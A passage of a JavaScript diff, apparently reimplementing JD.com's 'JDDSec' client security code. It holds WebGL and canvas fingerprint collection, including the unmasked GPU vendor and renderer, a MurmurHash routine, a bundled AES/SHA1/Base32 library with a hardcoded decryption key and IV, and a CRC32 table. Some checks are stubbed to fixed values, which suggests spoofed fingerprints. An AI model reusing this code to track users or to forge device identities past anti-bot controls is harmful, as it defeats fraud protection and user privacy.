b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { + } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { + } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++) ; + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { + var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() { + } + + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () { + }, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); + x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } + }); + var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); + x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } + }); + var k = v.algo = {}; + v.channel = {}; + return v +}(Math); +JDDSecCryptoJS.lib.Cipher || function (t) { + var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); + v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 + }); + var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); + n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m + }(); + var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } + }; + v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 + }); + var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } + }); + u.format = {}; + var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } + }) +}(); +(function () { + var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; + (function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } + })(); + var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; + v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } + b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 + }); + t.AES = u._createHelper(v) +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; + u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } + }); + t.SHA1 = x._createHelper(u); + t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.channel; + u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } + }; + u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } + } +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.lib.WordArray; + t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" + } +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = 